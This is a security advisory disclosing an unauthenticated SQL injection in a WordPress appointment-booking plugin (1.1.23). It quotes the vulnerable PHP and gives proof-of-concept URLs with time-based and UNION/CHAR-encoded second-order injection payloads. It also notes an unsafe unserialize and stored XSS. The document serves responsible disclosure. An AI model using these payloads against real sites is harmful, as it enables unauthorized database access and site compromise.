A unauthenticated SQL injection flaw was discovered within the latest WordPress 
appointment-booking-calendar plugin version 1.1.23.

The flaw were found in the function that is executed when the action ´cpabc_appointments_check_IPN_verification´ is called.
The action is added with ´init´ tag, so it function is called every time when parameter ´action=cpabc_appointments_check_IPN_verification´
appear in the query string (GET request) or POST request.

But for to execute the vulnerable line of code, an attacker need to carry out some conditions:
- The query string must contain the ´cpabc_ipncheck´ parameter.
- The ´cpabc_ipncheck´ must have the value ´1´.
- The query string must contain the ´itemnumber´ parameter (it is necessary for injection).

By having all those rules, the attacker can exploit the vulnerability.

The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, an attacker
can compromise the entire web server.

================
PROOF OF CONCEPT
================

An unauthenticated attacker can make a request like...

http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
&cpabc_ipncheck=1&itemnumber=<SQL commands>

Example:

	Exploiting simple SQL injection:

	http://localhost/wordpress/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
	&cpabc_ipncheck=1&itemnumber=(SELECT * FROM (SELECT(SLEEP(5)))Qmyx)

	Exploiting second order SQL injection with ´CHAR´ function will append ´0 or sleep(10)#´ to second sql 	statement:
	
	http://localhost/wordpress4.0.1/wp-admin/admin-ajax.php?action=cpabc_appointments_check_IPN_verification
	&cpabc_ipncheck=1&itemnumber=-1 UNION SELECT 1,CHAR	(48,32,111,114,32,115,108,101,101,112,40,49,48,41,35),3,4,5,6,7,8,9,10,11#

	

===============
VULNERABLE CODE
===============

located in ´cpabc_appointments.php´

function cpabc_appointments_check_IPN_verification() {

    global $wpdb;

	if ( ! isset( $_GET['cpabc_ipncheck'] ) || $_GET['cpabc_ipncheck'] != '1' ||  ! isset( $_GET["itemnumber"] ) )
		return;
    ...

    //HERE IS SANITIZED (when we inject a sql statement the `intval` function value turn to 0 and never is executed the `if` code)
    $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_TDEAPP_CALENDAR_DATA_TABLE." WHERE reference='".intval($itemnumber[0])."'" );
    if (count($myrows))
    {
        echo 'OK - Already processed';
        exit;
    }
    //BUT HERE THE PARAMETER IS PASSED WITHOUT SANITIZATION
    cpabc_process_ready_to_go_appointment($_GET["itemnumber"], $payer_email);

    echo 'OK';

    exit();

}


Now let's verify the ´cpabc_process_ready_to_go_appointment´ function...

function cpabc_process_ready_to_go_appointment($itemnumber, $payer_email = "")
{
   global $wpdb;

   ...

   $itemnumber = explode(";",$itemnumber); //CONVERTING INTO AN ARRAY THE SUPPLIED PARAMETER
   $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[0] ); //THERE IS NO SANITIZATION

   //NEXT INSTRUCTION IS USEFUL FOR SECOND ORDER SQL INJECTION
   $mycalendarrows = $wpdb->get_results( 'SELECT * FROM '.CPABC_APPOINTMENTS_CONFIG_TABLE_NAME .' WHERE `'.CPABC_TDEAPP_CONFIG_ID.'`='.$myrows[0]->calendar);
   $reminder_timeline = date( "Y-m-d H:i:s", strtotime (date("Y-m-d H:i:s")." +".$mycalendarrows[0]->reminder_hours." hours") );
   if (!defined('CP_CALENDAR_ID'))
        define ('CP_CALENDAR_ID',$myrows[0]->calendar);

    ...

   $params = unserialize($myrows[0]->buffered_date); //POTENTIAL RISKY `unserialize` METHOD CALLED use json functions instead
   $attachments = array();
   foreach ($params as $item => $value)
   {
       $email_content1 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);
       $email_content2 = str_replace('<%'.$item.'%>',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);
       $email_content1 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content1);
       $email_content2 = str_replace('%'.$item.'%',(is_array($value)?(implode(", ",$value)):($value)),$email_content2);
       if (strpos($item,"_link"))
           $attachments[] = $value;
   }
   $buffered_dates = array();
   for ($n=0;$n<count($itemnumber);$n++)
   {

   		//USEFUL FOR SECOND ORDER SQL INJECTION
       $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_TABLE_NAME." WHERE id=".$itemnumber[$n] );
       $buffered_dates[] = $myrows[0]->booked_time;
       $information = $mycalendarrows[0]->uname."\n".
                      $myrows[0]->booked_time."\n".
                      ($myrows[0]->name?$myrows[0]->name."\n":"").
                      $myrows[0]->email."\n".
                      ($myrows[0]->phone?$myrows[0]->phone."\n":"").
                      $myrows[0]->question."\n";

        ...

        //USEFUL FOR STORED CROSS-SITE SCRIPTING
       $rows_affected = $wpdb->insert( CPABC_TDEAPP_CALENDAR_DATA_TABLE, array( 'appointment_calendar_id' => $myrows[0]->calendar,
                                                                            'datatime' => date("Y-m-d H:i:s", strtotime($myrows[0]->booked_time_unformatted)),
                                                                            'title' => $myrows[0]->email,
                                                                            'reminder' => $reminder,
                                                                            'quantity' =>  (isset($myrows[0]->quantity)?$myrows[0]->quantity:1),
                                                                            'description' => str_replace("\n","<br />", $information),
                                                                            'reference' => $itemnumber[$n]
                                                                             ) );
       
   }
}



==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	joaquin.ramirez.mtz.lab[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-25 released appointment-booking-calendar 1.1.24
2016-01-26 full disclosure